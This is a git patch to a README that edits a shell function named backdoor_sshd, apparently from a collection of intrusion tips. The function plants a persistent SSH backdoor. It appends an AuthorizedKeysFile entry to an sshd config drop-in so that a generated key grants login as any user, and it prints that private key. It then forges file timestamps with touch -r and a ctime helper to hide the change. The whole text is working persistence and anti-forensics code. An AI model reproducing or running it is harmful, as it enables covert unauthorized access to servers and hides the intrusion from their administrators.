From 17231292a296239eeb94149dabc4057133320e8d Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 13 Dec 2025 15:26:37 +0000 Subject: [PATCH] Update README.md --- README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/README.md b/README.md index e2b4db3..642cdda 100644 --- a/README.md +++ b/README.md @@ -1811,8 +1811,7 @@ backdoor_sshd() { N="${D}/${N:-50-cloud-init.conf}" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && return - /usr/sbin/sshd -V 2>&1 | grep -qE 'SSH_(9|[1-9]{1}[0-9]{1})' || EGG="Y" - echo -e "AuthorizedKeysFile\t${EGG:+.ssh/authorized_keys .ssh/authorized_keys2 }${K}.pub" >>"${N}" || return + echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" touch -r "$K" "$N" "$D" \ && declare -f ctime >/dev/null && ctime "$N" "$D"